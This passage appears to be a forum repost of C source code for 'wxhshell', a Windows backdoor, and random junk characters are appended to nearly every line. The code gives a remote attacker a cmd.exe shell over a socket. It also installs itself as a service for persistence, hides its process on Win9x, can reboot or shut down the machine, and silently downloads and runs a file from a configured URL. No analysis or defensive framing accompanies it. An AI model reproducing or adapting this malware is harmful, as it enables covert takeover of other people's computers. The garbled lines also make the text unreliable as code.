    switch(cmd[0]) { G%P>A g  
  Hhe{ +W@~  
  // 帮助 yyY~ *Le  
  case '?': { `2x H7a-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {) :%Wn M9  
    break; #gW /qJ  
  } b)on A|  
  // 安装 _KB{J7bs<a  
  case 'i': { V>b2b5QAH,  
    if(Install()) }J ei$0x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pl rkgS0J  
    else F`Dg*O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]^J+-c  
    break; v`#j  
    } ,:#,}w_HyO  
  // 卸载 !US8aT  
  case 'r': { mF[o*N*  
    if(Uninstall()) lZ|L2Yg3uB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ||-nmOy  
    else Vs#"SpH{'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z-EwXE  
    break; B ~fSMB6h  
    } n S_Ta  
  // 显示 wxhshell 所在路径 @~m=5C  
  case 'p': { <Rcu%&;i  
    char svExeFile[MAX_PATH]; d]tv'|E13  
    strcpy(svExeFile,"\n\r"); nNt*} k  
      strcat(svExeFile,ExeFile); X+=-f^)&  
        send(wsh,svExeFile,strlen(svExeFile),0); o&(wg(Rv  
    break; 8YuJ8KC  
    } -PNi^ K_  
  // 重启 )y9;OA  
  case 'b': { wP[xmO-%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NH7`5mF$  
    if(Boot(REBOOT)) A /q2g7My  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ifXW  
    else {  !M  
    closesocket(wsh); KcC!N{  
    ExitThread(0); 63W{U/*aao  
    } bGbqfO`  
    break; _f cS>/<a  
    } "j{i,&Y$_  
  // 关机 nz4<pvC,*  
  case 'd': { *IC^IC:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >[ eW">:>K  
    if(Boot(SHUTDOWN)) ')B =|T)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >T<6fpXuk2  
    else { \|CPR6I  
    closesocket(wsh); YEzU{J  
    ExitThread(0); 6cJ<9i &  
    } ` ^DjEdUN  
    break; rwiw Rh  
    } `E@kFJ(<On  
  // 获取shell _ Yfmxn8V  
  case 's': { QE|`&~sme  
    CmdShell(wsh); S_J,[#&  
    closesocket(wsh); |xn#\epy@  
    ExitThread(0); !; IJ   
    break; et=7}K]l  
  } pmD4j8F_  
  // 退出 cv}aS_`f  
  case 'x': { <OTWT`G2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nqT>qS[Z  
    CloseIt(wsh); -<_QF82  
    break; 6?N4l ]l  
    } O|QUNr9  
  // 离开 >R!"P[*  
  case 'q': { m6^ 5S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lsk_P&M  
    closesocket(wsh); 8p&kLo&  
    WSACleanup(); +R!zs  
    exit(1); ~g6"'Cya?k  
    break; e}c&LDgU  
        } `ncNEHh7K  
  } _a](V6  
  } @Mm/C?#*O  
jpRBER_X  
  // 提示信息 *i^`Dw^~y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `Oq M8U @  
} ;j{7!GeKa  
  } lwc5S `"  
we3tx{j  
  return; gH[,Xx?BN!  
} Ojq]HM6f  
zJ+3g!  
// shell模块句柄 w/W7N   
int CmdShell(SOCKET sock) \<~}o I  
{ N2BI_,hI1  
STARTUPINFO si; Z|G/^DK!  
ZeroMemory(&si,sizeof(si)); `H>b5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t2- ^-g6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  FZ F @  
PROCESS_INFORMATION ProcessInfo; [#Y' dFQ  
char cmdline[]="cmd"; RT^v:paNT2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^"9* 'vTtc  
  return 0; Rf)ke("  
} ?7 \\e;j}  
R_^/,^1  
// 自身启动模式 0"78/6XIs  
int StartFromService(void) _T5)n=|  
{ p~&BChBl!=  
typedef struct SRZL\m}  
{ U3E&n1AA  
  DWORD ExitStatus; pj0fM{E  
  DWORD PebBaseAddress; }g|nz8  
  DWORD AffinityMask; 5{d\u E%'p  
  DWORD BasePriority; %d1draL  
  ULONG UniqueProcessId;  |t))u`~  
  ULONG InheritedFromUniqueProcessId; * RWm47  
}   PROCESS_BASIC_INFORMATION; |S&5es-yW  
KB!5u9  
PROCNTQSIP NtQueryInformationProcess; [ %}u=}@  
\ECu5L4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ye5jB2Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wG 1l+^p  
Ts9ktPlm  
  HANDLE             hProcess; DIaYo4  
  PROCESS_BASIC_INFORMATION pbi; ~>Kq<]3~  
a^t?vv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H6K`\8/SeN  
  if(NULL == hInst ) return 0; )}MHx`KT2  
WA6!+Gy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?<U{{ C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =Q<L eh=G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kkS~4?- *  
@%hCAm  
  if (!NtQueryInformationProcess) return 0; h1[WhBL-O  
QJn`WSw$_-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C3XmK}h  
  if(!hProcess) return 0; &H||&Z[pk  
M6rc!K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >Kivuc  
sbj";h=E  
  CloseHandle(hProcess); L?5f+@0.  
2&Jd f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }7s>B24J  
if(hProcess==NULL) return 0; hePPxKQ-  
OtTBErQNF  
HMODULE hMod; 5GQLd  
char procName[255]; 9zBMlc$X  
unsigned long cbNeeded; X[](Kj^`<  
nXA\|c0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QAPu<rdJP  
VsK>6S\T  
  CloseHandle(hProcess); 80pid[F  
F'JY?  
if(strstr(procName,"services")) return 1; // 以服务启动 R@iUCT^$  
XL$* _c <)  
  return 0; // 注册表启动 O(z}H}Fv  
} cXnKCzSxZq  
#!2k<Q*5uT  
// 主模块 G8Z4J7^  
int StartWxhshell(LPSTR lpCmdLine) i3VW1~.8  
{ S'LZk9E  
  SOCKET wsl; *\uM.m0$  
BOOL val=TRUE; K_/zuTy  
  int port=0; EW<kI+0D  
  struct sockaddr_in door; 3;[DJ5  
A"v{~  
  if(wscfg.ws_autoins) Install();  Q=uRKh  
T?Fcohz(  
port=atoi(lpCmdLine); g(C|!}ex/  
ln!'_\{  
if(port<=0) port=wscfg.ws_port; crcA\lJf  
] )DX%$f  
  WSADATA data; CO:u1?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2@=IT0[E\  
q.#[TI ^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ccFn.($p?,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .w?(NZ2~  
  door.sin_family = AF_INET; 69K{+|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d XHB#  
  door.sin_port = htons(port); N|g;W  
)~J>X{hy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !7bw5H  
closesocket(wsl); FQz?3w&ia  
return 1; a:, y Z  
} ;`YkMS`=W  
)D&M2CUw"f  
  if(listen(wsl,2) == INVALID_SOCKET) { 8~lIe:F-  
closesocket(wsl); ~PWSo%W8  
return 1; U69u'G:  
} fBn"kr;  
  Wxhshell(wsl); 4Y> Yi*n  
  WSACleanup(); d[ >`")2)  
g*UMG>  
return 0; ;< jbLhHwD  
%xZG*2vc!B  
} }@1q@xU  
I){\0vb@  
// 以NT服务方式启动 U9y|>P\)T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JA)?p{j  
{ tR0pH8?e"  
DWORD   status = 0; V r(J+1@  
  DWORD   specificError = 0xfffffff; ?~"bR%  
M 3 '$[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f/,>%j=Ms  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _@mRb^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }9HmTr|  
  serviceStatus.dwWin32ExitCode     = 0; j(:I7%3&(*  
  serviceStatus.dwServiceSpecificExitCode = 0; h^9"i3H  
  serviceStatus.dwCheckPoint       = 0; 6VP`evan  
  serviceStatus.dwWaitHint       = 0; %@a8P  
K;hh&sTB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w%AcG~`j!B  
  if (hServiceStatusHandle==0) return; KlV:L 4a~  
C?ib_K*  
status = GetLastError(); NcOPL\  
  if (status!=NO_ERROR) o%{'UG  
{ )n49lr6 X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {Gq*e/  
    serviceStatus.dwCheckPoint       = 0; <ljI;xE  
    serviceStatus.dwWaitHint       = 0; %CwL:.|  
    serviceStatus.dwWin32ExitCode     = status; n% 'tKU\q  
    serviceStatus.dwServiceSpecificExitCode = specificError; Pi,QHb`>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A1)wo^,  
    return; -oeL{9;  
  } uwf 5!Z:>  
Hs?e0Z=N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E!BPE>  
  serviceStatus.dwCheckPoint       = 0; {>LIMG-f  
  serviceStatus.dwWaitHint       = 0; Pg9hW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t^]$!H  
} 'i;|c  
/-bF$)vN  
// 处理NT服务事件,比如:启动、停止 ^D^4 YJz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -K,-h[ o  
{ KrVcwAcq|1  
switch(fdwControl) ^-mRP\5  
{ S##1GOO  
case SERVICE_CONTROL_STOP: WwH+E]^e+  
  serviceStatus.dwWin32ExitCode = 0; SG}V[Glk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Gb[`R}^dq  
  serviceStatus.dwCheckPoint   = 0; ;6@r-r  
  serviceStatus.dwWaitHint     = 0; 2?m.45`  
  {  ~ ~uAc_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8l}1c=A}Vi  
  } 2!&&|Mh}  
  return; H>9CW<8  
case SERVICE_CONTROL_PAUSE: nJ4@I7Sk;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gBT2)2]  
  break; 7n]65].t  
case SERVICE_CONTROL_CONTINUE: I;5R2" 3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8[r9HC  
  break; )jWO P,|  
case SERVICE_CONTROL_INTERROGATE: (,^*So/  
  break; O}9KJU  
}; }$MN|s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r`)L ~/  
} \s3]_1F;t  
+*\X]06  
// 标准应用程序主函数 }N_NvY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SN4Q))dAU  
{ `%+ mO88o  
]E  =Iu  
// 获取操作系统版本 ,+`61J3W  
OsIsNt=GetOsVer(); (-]r~Ol^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q-nSLE+_;  
x^Yl*iq  
  // 从命令行安装 Kvsh  
  if(strpbrk(lpCmdLine,"iI")) Install(); hcVJBK  
eh1Q7 ~  
  // 下载执行文件 y/e 2l  
if(wscfg.ws_downexe) { dz~co Z9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vR0 ];{  
  WinExec(wscfg.ws_filenam,SW_HIDE); cvwhSdZu8  
} ThPE 0V  
>!_Xgw  
if(!OsIsNt) { < >UPD02  
// 如果时win9x,隐藏进程并且设置为注册表启动 tm7u^9]  
HideProc(); sr@j$G#uW5  
StartWxhshell(lpCmdLine); r{L4]|(utY  
} %uv?we7  
else u%'\UmE w  
  if(StartFromService()) .2J L$"  
  // 以服务方式启动 VMoSLFp^R  
  StartServiceCtrlDispatcher(DispatchTable); e><5Pr)  
else 7~#:>OjW  
  // 普通方式启动 E\gim<]  
  StartWxhshell(lpCmdLine); \{Q?^E  
S+TOSjfis  
return 0; zP6.xp3  
}
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只看该作者 1 发表于: 2006-10-10
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